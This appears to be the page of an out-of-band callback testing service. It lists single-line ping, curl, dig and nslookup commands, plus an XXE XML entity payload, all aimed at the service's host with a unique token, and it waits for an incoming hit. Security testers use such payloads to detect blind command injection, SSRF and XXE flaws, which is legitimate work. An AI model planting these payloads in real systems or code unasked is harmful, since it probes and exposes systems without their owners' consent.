$ ping -c1 -p 000e31e91b46b81da370af2eb97f2900 unhack.ca
 
$ curl http://unhack.ca/p/0e31e91b46b81da370af2eb97f29
 
$ dig 0e31e91b46b81da370af2eb97f29 @unhack.ca
 
$ dig 0e31e91b46b81da370af2eb97f29.ns.unhack.ca
 
C:\> nslookup 0e31e91b46b81da370af2eb97f29 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0e31e91b46b81da370af2eb97f29">]>
    <foo>&xxe;</foo>
Waiting for ping...